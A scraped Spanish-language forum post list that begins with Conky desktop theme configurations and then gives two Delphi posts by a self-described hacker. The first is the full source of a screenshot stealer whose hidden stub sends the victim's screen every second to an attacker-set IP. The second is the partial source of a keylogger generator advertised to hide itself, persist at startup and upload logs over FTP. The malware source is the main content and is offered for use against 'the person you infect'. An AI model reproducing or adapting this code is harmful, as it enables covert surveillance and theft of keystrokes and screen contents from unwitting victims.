${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?

Theme DarkCity.



Código:
# DarkCity Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %a, }${time %e %B %G} $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %H:%M:%S}$color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $kernel $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $uptime $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $processes ($running_processes running) $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $loadavg $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $mem / $memmax ($memperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $swap / $swapmax ($swapperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Home: $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Download : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${downspeed eth0} k/s ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Upload : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${upspeed eth0} k/s $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totaldown eth0} ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totalup eth0} $color $font


${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?

No son la gran cosa pero el que me gusta usar es el de matrix.
175  Programación / Programación General / [Delphi] DH ScreenShoter Stealer 0.2 en: 25 Noviembre 2013, 15:34 pm
Un simple programa para capturar el escritorio cada 1 segundo de la persona a la que infectes con este programa.

Una imagen.



Los codigos.

El generador.

Código
  1. // DH ScreenShoter Stealer 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
  5. // Thanks to Cold Fuzion
  6.  
  7. unit screen;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
  14.  sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
  15.  sEdit;
  16.  
  17. type
  18.  TForm1 = class(TForm)
  19.    ServerSocket1: TServerSocket;
  20.    ServerSocket2: TServerSocket;
  21.    Timer1: TTimer;
  22.    Timer2: TTimer;
  23.    sSkinManager1: TsSkinManager;
  24.    sPageControl1: TsPageControl;
  25.    sTabSheet1: TsTabSheet;
  26.    sTabSheet2: TsTabSheet;
  27.    sTabSheet3: TsTabSheet;
  28.    sTabSheet4: TsTabSheet;
  29.    sStatusBar1: TsStatusBar;
  30.    sGroupBox1: TsGroupBox;
  31.    Image1: TImage;
  32.    sGroupBox2: TsGroupBox;
  33.    sGroupBox3: TsGroupBox;
  34.    sGroupBox4: TsGroupBox;
  35.    sRadioButton1: TsRadioButton;
  36.    sRadioButton2: TsRadioButton;
  37.    sGroupBox5: TsGroupBox;
  38.    sButton1: TsButton;
  39.    Image2: TImage;
  40.    sLabel1: TsLabel;
  41.    sGroupBox6: TsGroupBox;
  42.    sEdit1: TsEdit;
  43.    sButton2: TsButton;
  44.    sGroupBox7: TsGroupBox;
  45.    sButton3: TsButton;
  46.    Image3: TImage;
  47.  
  48.    procedure ServerSocket1ClientRead(Sender: TObject;
  49.      Socket: TCustomWinSocket);
  50.    procedure ServerSocket2ClientRead(Sender: TObject;
  51.      Socket: TCustomWinSocket);
  52.    procedure Timer1Timer(Sender: TObject);
  53.    procedure Timer2Timer(Sender: TObject);
  54.    procedure sButton1Click(Sender: TObject);
  55.    procedure sButton2Click(Sender: TObject);
  56.    procedure sButton3Click(Sender: TObject);
  57.    procedure FormCreate(Sender: TObject);
  58.  private
  59.    { Private declarations }
  60.    conexion: TFileStream;
  61.    control: integer;
  62.  
  63.  public
  64.    { Public declarations }
  65.  end;
  66.  
  67. var
  68.  Form1: TForm1;
  69.  cantidad: string;
  70.  
  71. implementation
  72.  
  73. uses fullscreen;
  74. {$R *.dfm}
  75. // Functions
  76.  
  77. function dhencode(texto, opcion: string): string;
  78. // Thanks to Taqyon
  79. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  80. var
  81.  num: integer;
  82.  aca: string;
  83.  cantidad: integer;
  84.  
  85. begin
  86.  
  87.  num := 0;
  88.  Result := '';
  89.  aca := '';
  90.  cantidad := 0;
  91.  
  92.  if (opcion = 'encode') then
  93.  begin
  94.    cantidad := length(texto);
  95.    for num := 1 to cantidad do
  96.    begin
  97.      aca := IntToHex(ord(texto[num]), 2);
  98.      Result := Result + aca;
  99.    end;
  100.  end;
  101.  
  102.  if (opcion = 'decode') then
  103.  begin
  104.    cantidad := length(texto);
  105.    for num := 1 to cantidad div 2 do
  106.    begin
  107.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  108.      Result := Result + aca;
  109.    end;
  110.  end;
  111.  
  112. end;
  113.  
  114. procedure achicar(archivo, medir1, medir2: string);
  115.  
  116. // Credits  :
  117. // Based on : http://www.delphidabbler.com/tips/99
  118. // Thanks to www.delphidabbler.com
  119.  
  120. var
  121.  bit3: Double;
  122.  bit2: TJpegImage;
  123.  bit1: TBitmap;
  124.  
  125. begin
  126.  
  127.  try
  128.    begin
  129.  
  130.      bit2 := TJpegImage.Create;
  131.  
  132.      bit2.Loadfromfile(archivo);
  133.  
  134.      if bit2.Height > bit2.Width then
  135.      begin
  136.        bit3 := StrToInt(medir1) / bit2.Height
  137.      end
  138.      else
  139.      begin
  140.        bit3 := StrToInt(medir2) / bit2.Width;
  141.      end;
  142.  
  143.      bit1 := TBitmap.Create;
  144.  
  145.      bit1.Width := Round(bit2.Width * bit3);
  146.      bit1.Height := Round(bit2.Height * bit3);
  147.      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);
  148.  
  149.      bit2.Assign(bit1);
  150.  
  151.      bit2.SaveToFile(archivo);
  152.  
  153.    end;
  154.  except
  155.    //
  156.  end;
  157.  
  158. end;
  159. //
  160.  
  161. procedure TForm1.FormCreate(Sender: TObject);
  162. begin
  163.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  164.  sSkinManager1.SkinName := 'garnet';
  165.  sSkinManager1.Active := True;
  166. end;
  167.  
  168. procedure TForm1.sButton1Click(Sender: TObject);
  169. begin
  170.  try
  171.    begin
  172.      ServerSocket1.Open;
  173.  
  174.      sStatusBar1.Panels[0].Text := '[+] Online';
  175.      Form1.sStatusBar1.Update;
  176.    end;
  177.  except
  178.    begin
  179.      sStatusBar1.Panels[0].Text := '[-] Error';
  180.      Form1.sStatusBar1.Update;
  181.    end;
  182.  end;
  183.  
  184. end;
  185.  
  186. procedure TForm1.sButton2Click(Sender: TObject);
  187. begin
  188.  try
  189.    begin
  190.      ServerSocket1.Close;
  191.      sStatusBar1.Panels[0].Text := '[+] OffLine';
  192.      Form1.sStatusBar1.Update;
  193.    end;
  194.  except
  195.    begin
  196.      sStatusBar1.Panels[0].Text := '[-] Error';
  197.      Form1.sStatusBar1.Update;
  198.    end;
  199.  end;
  200. end;
  201.  
  202. procedure TForm1.sButton3Click(Sender: TObject);
  203. var
  204.  aca: THandle;
  205.  code: Array [0 .. 9999 + 1] of Char;
  206.  nose: DWORD;
  207.  stubgenerado: string;
  208.  lineafinal: string;
  209.  linea: string;
  210. begin
  211.  
  212.  aca := INVALID_HANDLE_VALUE;
  213.  nose := 0;
  214.  
  215.  stubgenerado := 'stealer_ready.exe';
  216.  
  217.  linea := '[ip]' + sEdit1.Text + '[ip]';
  218.  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';
  219.  
  220.  DeleteFile(stubgenerado);
  221.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  222.        + '/' + 'Data/servernow.exe'), PChar
  223.      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  224.  
  225.  StrCopy(code, PChar(lineafinal));
  226.  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
  227.    nil, OPEN_EXISTING, 0, 0);
  228.  if (aca <> INVALID_HANDLE_VALUE) then
  229.  begin
  230.    SetFilePointer(aca, 0, nil, FILE_END);
  231.    WriteFile(aca, code, 9999, nose, nil);
  232.    CloseHandle(aca);
  233.  end;
  234.  
  235.  sStatusBar1.Panels[0].Text := '[+] Done';
  236.  Form1.sStatusBar1.Update;
  237.  
  238. end;
  239.  
  240. procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  241.  Socket: TCustomWinSocket);
  242. var
  243.  contenido: string;
  244.  
  245. begin
  246.  
  247.  contenido := Socket.ReceiveText;
  248.  
  249.  if (Pos('0x3archivo', contenido) > 0) then
  250.  begin
  251.    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
  252.      fmCREATE or fmOPENWRITE and fmsharedenywrite);
  253.  
  254.    ServerSocket2.Open;
  255.  
  256.  end
  257.  else
  258.  begin
  259.    if (Pos('0x3acantid', contenido) > 0) then
  260.    begin
  261.      cantidad := Copy(contenido, 11, length(contenido));
  262.    end;
  263.  end;
  264. end;
  265.  
  266. procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  267.  Socket: TCustomWinSocket);
  268. var
  269.  data: array [0 .. 9999] of Char;
  270.  otracantidad: integer;
  271.  
  272. begin
  273.  
  274.  Timer1.Enabled := True;
  275.  
  276.  while Socket.ReceiveLength > 0 do
  277.  
  278.  begin
  279.  
  280.    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));
  281.  
  282.    if otracantidad <= 0 then
  283.    begin
  284.      Break;
  285.    end
  286.    else
  287.    begin
  288.      conexion.Write(data, otracantidad);
  289.    end;
  290.  
  291.    if conexion.Size >= StrToInt(cantidad) then
  292.  
  293.    begin
  294.  
  295.      conexion.Free;
  296.  
  297.      Timer1.Enabled := False;
  298.  
  299.      control := 0;
  300.  
  301.      Break;
  302.  
  303.    end;
  304.  end;
  305. end;
  306.  
  307. procedure TForm1.Timer1Timer(Sender: TObject);
  308. begin
  309.  control := 1;
  310. end;
  311.  
  312. procedure TForm1.Timer2Timer(Sender: TObject);
  313. begin
  314.  
  315.  try
  316.    begin
  317.      if ServerSocket1.Active = True then
  318.      begin
  319.        if FileExists('screen.jpg') then
  320.        begin
  321.  
  322.          if (sRadioButton1.Checked) then
  323.          begin
  324.            achicar('screen.jpg', '400', '400');
  325.            Image1.Picture.Loadfromfile('screen.jpg');
  326.          end
  327.          else
  328.          begin
  329.            Form2.Show;
  330.            achicar('screen.jpg', '1000', '1000');
  331.            Form2.Image1.Picture.Loadfromfile('screen.jpg');
  332.          end;
  333.        end;
  334.      end;
  335.    end;
  336.  except
  337.    //
  338.  end;
  339. end;
  340.  
  341. end.
  342.  
  343. // The End ?
  344.  

El servidor.

Código
  1. // DH ScreenShoter Stealer 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
  5. // Thanks to Cold Fuzion
  6.  
  7. unit server;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    ClientSocket1: TClientSocket;
  18.    ClientSocket2: TClientSocket;
  19.    Timer1: TTimer;
  20.    procedure FormCreate(Sender: TObject);
  21.    procedure Timer1Timer(Sender: TObject);
  22.  private
  23.    { Private declarations }
  24.  public
  25.    { Public declarations }
  26.  end;
  27.  
  28. var
  29.  Form1: TForm1;
  30.  target: string;
  31.  
  32. implementation
  33.  
  34. {$R *.dfm}
  35. // Functions
  36.  
  37. function regex(text: String; deaca: String; hastaaca: String): String;
  38. begin
  39.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  40.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  41.  Result := text;
  42. end;
  43.  
  44. function dhencode(texto, opcion: string): string;
  45. // Thanks to Taqyon
  46. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  47. var
  48.  num: integer;
  49.  aca: string;
  50.  cantidad: integer;
  51.  
  52. begin
  53.  
  54.  num := 0;
  55.  Result := '';
  56.  aca := '';
  57.  cantidad := 0;
  58.  
  59.  if (opcion = 'encode') then
  60.  begin
  61.    cantidad := Length(texto);
  62.    for num := 1 to cantidad do
  63.    begin
  64.      aca := IntToHex(ord(texto[num]), 2);
  65.      Result := Result + aca;
  66.    end;
  67.  end;
  68.  
  69.  if (opcion = 'decode') then
  70.  begin
  71.    cantidad := Length(texto);
  72.    for num := 1 to cantidad div 2 do
  73.    begin
  74.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  75.      Result := Result + aca;
  76.    end;
  77.  end;
  78.  
  79. end;
  80.  
  81. procedure capturar(nombre: string);
  82. var
  83.  imagen2: TJpegImage;
  84.  imagen1: TBitmap;
  85.  aca: HDC;
  86.  
  87. begin
  88.  
  89.  aca := GetWindowDC(GetDesktopWindow);
  90.  
  91.  imagen1 := TBitmap.Create;
  92.  imagen1.PixelFormat := pf24bit;
  93.  imagen1.Height := Screen.Height;
  94.  imagen1.Width := Screen.Width;
  95.  
  96.  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
  97.    SRCCOPY);
  98.  
  99.  imagen2 := TJpegImage.Create;
  100.  imagen2.Assign(imagen1);
  101.  imagen2.CompressionQuality := 60;
  102.  imagen2.SaveToFile(nombre);
  103.  
  104. end;
  105.  
  106.  
  107. //
  108.  
  109. procedure TForm1.FormCreate(Sender: TObject);
  110.  
  111. var
  112.  ob: THandle;
  113.  code: Array [0 .. 9999 + 1] of Char;
  114.  nose: DWORD;
  115.  todo: string;
  116.  
  117. begin
  118.  
  119.  Application.ShowMainForm := False;
  120.  
  121.  ob := INVALID_HANDLE_VALUE;
  122.  code := '';
  123.  
  124.  ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  125.    OPEN_EXISTING, 0, 0);
  126.  if (ob <> INVALID_HANDLE_VALUE) then
  127.  begin
  128.    SetFilePointer(ob, -9999, nil, FILE_END);
  129.    ReadFile(ob, code, 9999, nose, nil);
  130.    CloseHandle(ob);
  131.  end;
  132.  
  133.  todo := regex(code, '[63686175]', '[63686175]');
  134.  todo := dhencode(todo, 'decode');
  135.  
  136.  target := regex(todo, '[ip]', '[ip]');
  137.  
  138.  try
  139.    begin
  140.      ClientSocket1.Address := target;
  141.      ClientSocket1.Open;
  142.    end;
  143.  except
  144.    //
  145.  end;
  146.  
  147. end;
  148.  
  149. procedure TForm1.Timer1Timer(Sender: TObject);
  150. var
  151.  archivo: string;
  152.  envio: TFileStream;
  153.  dir: string;
  154.  
  155. begin
  156.  
  157.  try
  158.    begin
  159.  
  160.      if ClientSocket1.Active = True then
  161.  
  162.      begin
  163.        dir := GetEnvironmentVariable('USERPROFILE') + '\';
  164.  
  165.        chdir(dir);
  166.  
  167.        if (FileExists('screen.jpg')) then
  168.        begin
  169.          DeleteFile('screen.jpg');
  170.        end;
  171.  
  172.        capturar('screen.jpg');
  173.  
  174.        archivo := dir + 'screen.jpg';
  175.  
  176.        try
  177.          begin
  178.            ClientSocket1.Socket.SendText
  179.              ('0x3archivo' + ExtractFileName(archivo));
  180.            envio := TFileStream.Create(archivo, fmopenread);
  181.  
  182.            sleep(500);
  183.  
  184.            ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));
  185.  
  186.            envio.Free;
  187.  
  188.            ClientSocket2.Address := target;
  189.            ClientSocket2.Open;
  190.  
  191.            ClientSocket2.Socket.SendStream
  192.              (TFileStream.Create(archivo, fmopenread));
  193.          end;
  194.        except
  195.          //
  196.        end;
  197.      end;
  198.    end;
  199.  except
  200.    //
  201.  end;
  202.  
  203. end;
  204.  
  205. end.
  206.  
  207. // The End ?
  208.  

Si lo quieren bajar lo pueden hacer de aca.
176  Programación / Programación General / [Delphi] DH KeyCagator 0.7 en: 22 Noviembre 2013, 14:56 pm
Al fin logre terminar esta version del DH KeyCagator.

El keylogger tiene las siguientes funciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

Una imagen :



Los dos codigos :

El generador.

Código
  1. // DH KeyCagator 0.7
  2. // (C) Doddy Hackman 2013
  3. // Keylogger Generator
  4. // Icon Changer based in : "IconChanger" By Chokstyle
  5. // Thanks to Chokstyle
  6.  
  7. unit genkey;
  8.  
  9. interface
  10.  
  11. uses
  12.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.  Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
  14.  sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
  15.  jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  16.  IdExplicitTLSClientServerBase, IdFTP, ShellApi;
  17.  
  18. type
  19.  TForm1 = class(TForm)
  20.    sSkinManager1: TsSkinManager;
  21.    Image1: TImage;
  22.    sStatusBar1: TsStatusBar;
  23.    sGroupBox8: TsGroupBox;
  24.    sButton1: TsButton;
  25.    sPageControl1: TsPageControl;
  26.    sTabSheet1: TsTabSheet;
  27.    sTabSheet2: TsTabSheet;
  28.    sTabSheet3: TsTabSheet;
  29.    sGroupBox1: TsGroupBox;
  30.    sGroupBox2: TsGroupBox;
  31.    sRadioButton1: TsRadioButton;
  32.    sRadioButton2: TsRadioButton;
  33.    sEdit2: TsEdit;
  34.    sComboBox1: TsComboBox;
  35.    sGroupBox3: TsGroupBox;
  36.    sEdit1: TsEdit;
  37.    sGroupBox4: TsGroupBox;
  38.    sLabel1: TsLabel;
  39.    sCheckBox1: TsCheckBox;
  40.    sEdit3: TsEdit;
  41.    sGroupBox7: TsGroupBox;
  42.    sLabel2: TsLabel;
  43.    sCheckBox2: TsCheckBox;
  44.    sEdit4: TsEdit;
  45.    sGroupBox5: TsGroupBox;
  46.    sLabel3: TsLabel;
  47.    sLabel4: TsLabel;
  48.    sLabel5: TsLabel;
  49.    sLabel6: TsLabel;
  50.    sEdit5: TsEdit;
  51.    sEdit6: TsEdit;
  52.    sEdit7: TsEdit;
  53.    sEdit8: TsEdit;
  54.    sTabSheet4: TsTabSheet;
  55.    sTabSheet5: TsTabSheet;
  56.    sGroupBox6: TsGroupBox;
  57.    Image2: TImage;
  58.    sLabel7: TsLabel;
  59.    sGroupBox9: TsGroupBox;
  60.    sGroupBox10: TsGroupBox;
  61.    sLabel8: TsLabel;
  62.    sLabel9: TsLabel;
  63.    sLabel10: TsLabel;
  64.    sLabel11: TsLabel;
  65.    sEdit9: TsEdit;
  66.    sEdit10: TsEdit;
  67.    sEdit11: TsEdit;
  68.    sEdit12: TsEdit;
  69.    sButton2: TsButton;
  70.    IdFTP1: TIdFTP;
  71.    OpenDialog1: TOpenDialog;
  72.    procedure sButton1Click(Sender: TObject);
  73.    procedure sButton2Click(Sender: TObject);
  74.    procedure FormCreate(Sender: TObject);
  75.  private
  76.    { Private declarations }
  77.  public
  78.    { Public declarations }
  79.  end;
  80.  
  81. var
  82.  Form1: TForm1;
  83.  
  84. implementation
  85.  
  86. {$R *.dfm}
  87. // Functions
  88.  
  89. function dhencode(texto, opcion: string): string;
  90. // Thanks to Taqyon
  91. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  92. var
  93.  num: integer;
  94.  aca: string;
  95.  cantidad: integer;
  96.  
  97. begin
  98.  
  99.  num := 0;
  100.  Result := '';
  101.  aca := '';
  102.  cantidad := 0;
  103.  
  104.  if (opcion = 'encode') then
  105.  begin
  106.    cantidad := length(texto);
  107.    for num := 1 to cantidad do
  108.    begin
  109.      aca := IntToHex(ord(texto[num]), 2);
  110.      Result := Result + aca;
  111.    end;
  112.  end;
  113.  
  114.  if (opcion = 'decode') then
  115.  begin
  116.    cantidad := length(texto);
  117.    for num := 1 to cantidad div 2 do
  118.    begin
  119.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  120.      Result := Result + aca;
  121.    end;
  122.  end;
  123.  
  124. end;
  125.  
  126. //
  127.  
  128. procedure TForm1.FormCreate(Sender: TObject);
  129. begin
  130.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  131.  sSkinManager1.SkinName := 'tv-b';
  132.  sSkinManager1.Active := True;
  133. end;
  134.  
  135. procedure TForm1.sButton1Click(Sender: TObject);
  136. var
  137.  lineafinal: string;
  138.  
  139.  savein_especial: string;
  140.  savein: string;
  141.  foldername: string;
  142.  
  143.  capture_op: string;
  144.  capture_seconds: integer;
  145.  
  146.  ftp_op: string;
  147.  ftp_seconds: integer;
  148.  ftp_host_txt: string;
  149.  ftp_user_txt: string;
  150.  ftp_pass_txt: string;
  151.  ftp_path_txt: string;
  152.  
  153.  aca: THandle;
  154.  code: Array [0 .. 9999 + 1] of Char;
  155.  nose: DWORD;
  156.  
  157.  stubgenerado: string;
  158.  op: string;
  159.  change: DWORD;
  160.  valor: string;
  161.  
  162. begin
  163.  
  164.  if (sRadioButton1.Checked = True) then
  165.  
  166.  begin
  167.  
  168.    savein_especial := '0';
  169.  
  170.    if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
  171.    begin
  172.      savein := 'USERPROFILE';
  173.    end
  174.    else
  175.    begin
  176.      savein := sComboBox1.Items[sComboBox1.ItemIndex];
  177.    end;
  178.  
  179.  end;
  180.  
  181.  if (sRadioButton2.Checked = True) then
  182.  begin
  183.    savein_especial := '1';
  184.    savein := sEdit2.Text;
  185.  end;
  186.  
  187.  foldername := sEdit1.Text;
  188.  
  189.  if (sCheckBox1.Checked = True) then
  190.  begin
  191.    capture_op := '1';
  192.  end
  193.  else
  194.  begin
